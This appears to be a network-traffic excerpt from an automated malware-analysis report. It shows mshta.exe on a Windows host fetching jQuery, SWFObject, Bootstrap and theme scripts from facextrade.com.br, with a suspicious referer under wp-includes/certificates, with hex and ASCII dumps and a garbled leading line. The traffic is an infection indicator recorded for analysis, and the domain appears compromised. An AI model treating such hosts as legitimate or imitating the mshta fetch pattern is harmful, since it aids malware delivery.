bbBo$!w'&%n~{ZL"H$$]Z~\qj#L\|GN6z9ojYcT6tIDINAnd{RG/MJ$D"tIqh`f`j\|Yy6C2bd`_N:_b~(?7s;H$DRpd%N}uf~qex)[LM,f$D"8]^}#BNbUZ{.3++za,L(I<;bv-09H$D]yqp0RgAtg

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.22	49200	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:55.694317102 CEST	930	OUT	GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:55.928739071 CEST	985	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:23 GMT Server: Apache ETag: "a534c3-17278-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 94840 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836422 21588181 Age: 152 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 37 2e 32 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 79 28 61 29 7b 72 65 74 75 72 6e 20 66 2e 69 73 57 69 6e 64 6f 77 28 61 29 3f 61 3a 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 39 3f 61 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 61 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 75 28 61 29 7b 69 66 28 21 63 6a 5b 61 5d 29 7b 76 61 72 20 62 3d 63 2e 62 6f 64 79 2c 64 3d 66 28 22 3c 22 2b 61 2b 22 3e 22 29 2e 61 70 70 65 6e 64 54 6f 28 62 29 2c 65 3d 64 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 3b 64 2e 72 65 6d 6f 76 65 28 29 3b 69 66 28 65 3d 3d 3d 22 6e 6f 6e 65 22 7c 7c 65 3d 3d 3d 22 22 29 7b 63 6b 7c 7c 28 63 6b 3d 63 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 2c 63 6b 2e 66 72 61 6d 65 42 6f 72 64 65 72 3d 63 6b 2e 77 69 64 74 68 3d 63 6b 2e 68 65 69 67 68 74 3d 30 29 2c 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 6b 29 3b 69 66 28 21 63 6c 7c 7c 21 63 6b 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 63 6c 3d 28 63 6b 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 7c 7c 63 6b 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 2c 63 6c 2e 77 72 69 74 65 28 28 66 2e 73 75 70 70 6f 72 74 2e 62 6f 78 4d 6f 64 65 6c 3f 22 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 22 3a 22 22 29 2b 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 22 29 2c 63 6c 2e 63 6c 6f 73 65 28 29 3b 64 3d 63 6c 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 63 6c 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 2c 65 3d 66 2e 63 73 73 28 64 2c 22 64 69 73 70 6c 61 79 22 29 2c 62 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 63 6b 29 7d 63 6a 5b 61 5d 3d 65 7d 72 65 74 75 72 6e 20 63 6a 5b 61 5d 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 3b 66 2e 65 61 63 68 28 63 70 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 63 70 2e 73 6c 69 63 65 28 30 2c 62 29 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 5b 74 68 69 73 5d 3d 61 7d 29 3b 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 63 73 28 29 7b 63 71 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 63 72 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 63 73 2c 30 29 3b 72 65 74 75 72 6e 20 63 71 3d 66 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 63 69 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50 22 29 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 68 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 62 28 61 2c 63 29 7b 61 2e 64 61 74 Data Ascii: /! jQuery v1.7.2 jquery.com \| jquery.org/license /(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView\|\|a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"\|\|e===""){ck\|\|(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl\|\|!ck.createElement)cl=(ck.contentWindow\|\|ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dat
Aug 16, 2022 11:49:55.928751945 CEST	986	IN	Data Raw: 61 46 69 6c 74 65 72 26 26 28 63 3d 61 2e 64 61 74 61 46 69 6c 74 65 72 28 63 2c 61 2e 64 61 74 61 54 79 70 65 29 29 3b 76 61 72 20 64 3d 61 2e 64 61 74 61 54 79 70 65 73 2c 65 3d 7b 7d 2c 67 2c 68 2c 69 3d 64 2e 6c 65 6e 67 74 68 2c 6a 2c 6b 3d Data Ascii: aFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="")k=l;else if(l!==""
Aug 16, 2022 11:49:55.928772926 CEST	988	IN	Data Raw: 62 53 2c 6c 3b 66 6f 72 28 3b 69 3c 6a 26 26 28 6b 7c 7c 21 6c 29 3b 69 2b 2b 29 6c 3d 68 5b 69 5d 28 63 2c 64 2c 65 29 2c 74 79 70 65 6f 66 20 6c 3d 3d 22 73 74 72 69 6e 67 22 26 26 28 21 6b 7c 7c 67 5b 6c 5d 3f 6c 3d 62 3a 28 63 2e 64 61 74 61 Data Ascii: bS,l;for(;i<j&&(k\|\|!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k\|\|g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k\|\|!l)&&!g[""]&&(l=bZ(a,c,d,e,"",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.is
Aug 16, 2022 11:49:55.928792000 CEST	989	IN	Data Raw: 69 6f 6e 20 62 6c 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 Data Ascii: ion bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName(""):typeof a.querySelectorAll!="undefined"?a.querySelectorAll(""):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAtt
Aug 16, 2022 11:49:55.928834915 CEST	990	IN	Data Raw: 6e 20 65 3d 3d 3d 63 7d 29 3b 69 66 28 62 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 20 66 2e 67 72 65 70 28 61 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 64 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 3d 3d 3d 63 7d 29 3b 69 66 28 74 79 70 65 6f 66 Data Ascii: n e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inAr
Aug 16, 2022 11:49:55.928963900 CEST	992	IN	Data Raw: 28 5b 5c 77 5c 2d 5d 2a 29 24 29 2f 2c 6a 3d 2f 5c 53 2f 2c 6b 3d 2f 5e 5c 73 2b 2f 2c 6c 3d 2f 5c 73 2b 24 2f 2c 6d 3d 2f 5e 3c 28 5c 77 2b 29 5c 73 2a 5c 2f 3f 3e 28 3f 3a 3c 5c 2f 5c 31 3e 29 3f 24 2f 2c 6e 3d 2f 5e 5b 5c 5d 2c 3a 7b 7d 5c 73 Data Ascii: ([\w\-])$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]$/,o=/\\(?:["\\\/bfnrt]\|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]"\|true\|false\|null\|-?\d+(?:\.\d)?(?:[eE][+\-]?\d+)?/g,q=/(?:^\|:\|,)(?:\s\[)+/g,r=/(webkit)[ \/]([\w.]
Aug 16, 2022 11:49:55.929014921 CEST	993	IN	Data Raw: 67 74 68 3d 31 2c 74 68 69 73 5b 30 5d 3d 68 7d 74 68 69 73 2e 63 6f 6e 74 65 78 74 3d 63 2c 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 3d 61 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 72 65 74 75 72 6e 21 64 7c 7c 64 2e 6a 71 75 65 72 79 3f 28 64 7c 7c Data Ascii: gth=1,this[0]=h}this.context=c,this.selector=a;return this}return!d\|\|d.jquery?(d\|\|f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(
Aug 16, 2022 11:49:55.929050922 CEST	994	IN	Data Raw: 31 3b 74 79 70 65 6f 66 20 69 3d 3d 22 62 6f 6f 6c 65 61 6e 22 26 26 28 6c 3d 69 2c 69 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 7c 7c 7b 7d 2c 6a 3d 32 29 2c 74 79 70 65 6f 66 20 69 21 3d 22 6f 62 6a 65 63 74 22 26 26 21 65 2e 69 73 46 75 6e 63 74 Data Ascii: 1;typeof i=="boolean"&&(l=i,i=arguments[1]\|\|{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j<k;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l&&f&&(e.isPlainObject(f)\|\|(g=e.isArray(f))
Aug 16, 2022 11:49:55.929194927 CEST	996	IN	Data Raw: 70 61 72 73 65 46 6c 6f 61 74 28 61 29 29 26 26 69 73 46 69 6e 69 74 65 28 61 29 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3d 3d 6e 75 6c 6c 3f 53 74 72 69 6e 67 28 61 29 3a 49 5b 43 2e 63 61 6c 6c 28 61 29 Data Ascii: parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]\|\|"object"},isPlainObject:function(a){if(!a\|\|e.type(a)!=="object"\|\|a.nodeType\|\|e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.
Aug 16, 2022 11:49:55.929224968 CEST	997	IN	Data Raw: 61 29 3b 69 66 28 64 29 7b 69 66 28 69 29 7b 66 6f 72 28 66 20 69 6e 20 61 29 69 66 28 63 2e 61 70 70 6c 79 28 61 5b 66 5d 2c 64 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 3b 67 3c 68 3b 29 69 66 28 63 2e 61 70 70 6c 79 28 Data Ascii: a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){retu
Aug 16, 2022 11:49:56.163657904 CEST	999	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 63 2c 66 2e 63 6f 6e 63 61 74 28 46 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 29 7d 3b 67 2e 67 75 69 64 3d 61 2e 67 75 69 64 3d 61 2e 67 75 69 64 7c 7c 67 2e 67 75 Data Ascii: nction(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid\|\|g.guid\|\|e.guid++;return g},access:function(a,c,d,f,g,h,i){var j,k=d==null,l=0,m=a.length;if(d&&typeof d=="object"){for(l in d)e.access(a,c,l,d[l],1,h,f);g=1}else if(
Aug 16, 2022 11:49:56.862890959 CEST	1097	OUT	GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:57.096807003 CEST	1113	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:25 GMT Server: Apache ETag: "a55e6f-27f7-58592be2ea280" Last-Modified: Tue, 02 Apr 2019 21:23:06 GMT Content-Length: 10231 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836424 23959553 Age: 151 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 09 53 57 46 4f 62 6a 65 63 74 20 76 32 2e 32 20 3c 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 2f 73 77 66 6f 62 6a 65 63 74 2f 3e 20 0a 09 69 73 20 72 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 3c 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 3e 20 0a 2a 2f 0a 76 61 72 20 73 77 66 6f 62 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 44 3d 22 75 6e 64 65 66 69 6e 65 64 22 2c 72 3d 22 6f 62 6a 65 63 74 22 2c 53 3d 22 53 68 6f 63 6b 77 61 76 65 20 46 6c 61 73 68 22 2c 57 3d 22 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 2e 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 22 2c 71 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 2c 52 3d 22 53 57 46 4f 62 6a 65 63 74 45 78 70 72 49 6e 73 74 22 2c 78 3d 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 4f 3d 77 69 6e 64 6f 77 2c 6a 3d 64 6f 63 75 6d 65 6e 74 2c 74 3d 6e 61 76 69 67 61 74 6f 72 2c 54 3d 66 61 6c 73 65 2c 55 3d 5b 68 5d 2c 6f 3d 5b 5d 2c 4e 3d 5b 5d 2c 49 3d 5b 5d 2c 6c 2c 51 2c 45 2c 42 2c 4a 3d 66 61 6c 73 65 2c 61 3d 66 61 6c 73 65 2c 6e 2c 47 2c 6d 3d 74 72 75 65 2c 4d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 21 3d 44 2c 61 68 3d 74 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 59 3d 74 2e 70 6c 61 74 66 6f 72 6d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 61 65 3d 59 3f 2f 77 69 6e 2f 2e 74 65 73 74 28 59 29 3a 2f 77 69 6e 2f 2e 74 65 73 74 28 61 68 29 2c 61 63 3d 59 3f 2f 6d 61 63 2f 2e 74 65 73 74 28 59 29 3a 2f 6d 61 63 2f 2e 74 65 73 74 28 61 68 29 2c 61 66 3d 2f 77 65 62 6b 69 74 2f 2e 74 65 73 74 28 61 68 29 3f 70 61 72 73 65 46 6c 6f 61 74 28 61 68 2e 72 65 70 6c 61 63 65 28 2f 5e 2e 2a 77 65 62 6b 69 74 5c 2f 28 5c 64 2b 28 5c 2e 5c 64 2b 29 3f 29 2e 2a 24 2f 2c 22 24 31 22 29 29 3a 66 61 6c 73 65 2c 58 3d 21 2b 22 5c 76 31 22 2c 61 67 3d 5b 30 2c 30 2c 30 5d 2c 61 62 3d 6e 75 6c 6c 3b 69 66 28 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 21 3d 44 26 26 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 3d 3d 72 29 7b 61 62 3d 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 69 66 28 61 62 26 26 21 28 74 79 70 65 6f 66 20 74 2e 6d 69 6d 65 54 79 70 65 73 21 3d 44 26 26 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 26 26 21 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 2e 65 6e 61 62 6c 65 64 50 6c 75 67 69 6e 29 29 7b 54 3d 74 72 75 65 3b 58 3d 66 61 Data Ascii: /SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> /var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.webkit\/(\d+(\.\d+)?).$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=fa
Aug 16, 2022 11:49:57.111057043 CEST	1123	OUT	GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:57.344780922 CEST	1126	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:26 GMT Server: Apache ETag: "a534b4-1b97-58592d4796c00" Last-Modified: Tue, 02 Apr 2019 21:29:20 GMT Content-Length: 7063 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836426 21588190 Age: 151 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 64 6f 63 75 6d 65 6e 74 20 72 65 61 64 79 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 42 6c 6f 67 20 6d 61 73 6f 6e 72 79 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 69 66 28 6a 51 75 65 72 79 28 27 62 6f 64 79 2e 62 6c 6f 67 27 29 5b 30 5d 29 7b 0a 09 09 76 61 72 20 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 69 73 6f 74 6f 70 65 27 29 3b 0a 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 6d 61 67 65 73 4c 6f 61 64 65 64 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 7b 0a 09 09 09 09 69 74 65 6d 53 65 6c 65 63 74 6f 72 20 3a 20 27 2e 70 6f 73 74 5f 77 72 61 70 70 65 72 27 2c 0a 09 09 09 09 68 69 64 64 65 6e 43 6c 61 73 73 20 3a 20 27 68 69 64 64 65 6e 27 2c 0a 09 09 09 09 72 65 73 69 7a 61 62 6c 65 20 3a 20 74 72 75 65 2c 0a 09 09 09 09 74 72 61 6e 73 66 6f 72 6d 73 45 6e 61 62 6c 65 64 20 3a 20 66 61 6c 73 65 2c 0a 09 09 09 09 6c 61 79 6f 75 74 4d 6f 64 65 3a 20 27 6d 61 73 6f 6e 72 79 27 0a 09 09 09 7d 29 2e 62 69 6e 64 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 27 72 65 4c 61 79 6f 75 74 27 29 3b 0a 09 09 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 29 2e 63 73 73 28 7b 27 76 69 73 69 62 69 6c 69 74 79 27 3a 27 76 69 73 69 62 6c 65 27 7d 29 3b 0a 09 09 7d 29 3b 0a 09 7d 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 43 61 6c 6c 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 6a 51 75 65 72 79 28 22 2e 74 68 75 6d 62 6e 61 69 6c 22 29 2e 70 61 72 65 6e 74 28 29 Data Ascii: // ---------------------------------------------------------// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!// ---------------------------------------------------------jQuery(document).ready(function(){// ---------------------------------------------------------// Blog masonry// ---------------------------------------------------------if(jQuery('body.blog')[0]){var isotope_holder = jQuery('.isotope');isotope_holder.imagesLoaded( function() {isotope_holder.isotope({itemSelector : '.post_wrapper',hiddenClass : 'hidden',resizable : true,transformsEnabled : false,layoutMode: 'masonry'}).bind("resize.rainbows", function(){isotope_holder.isotope('reLayout');}).trigger("resize.rainbows").css({'visibility':'visible'});});}// ---------------------------------------------------------// Call Magnific Popup// ---------------------------------------------------------jQuery(".thumbnail").parent()
Aug 16, 2022 11:49:57.611902952 CEST	1133	OUT	GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:57.849021912 CEST	1154	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:47:26 GMT Server: Apache ETag: "a52fb8-7054-58592f4b86d40" Last-Modified: Tue, 02 Apr 2019 21:38:21 GMT Content-Length: 28756 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836428 23959557 Age: 151 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 2a 20 42 6f 6f 74 73 74 72 61 70 2e 6a 73 20 62 79 20 40 66 61 74 20 26 20 40 6d 64 6f 0a 2a 20 70 6c 75 67 69 6e 73 3a 20 62 6f 6f 74 73 74 72 61 70 2d 74 72 61 6e 73 69 74 69 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 6d 6f 64 61 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 64 72 6f 70 64 6f 77 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 73 63 72 6f 6c 6c 73 70 79 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 61 62 2e 6a 73 2c 20 62 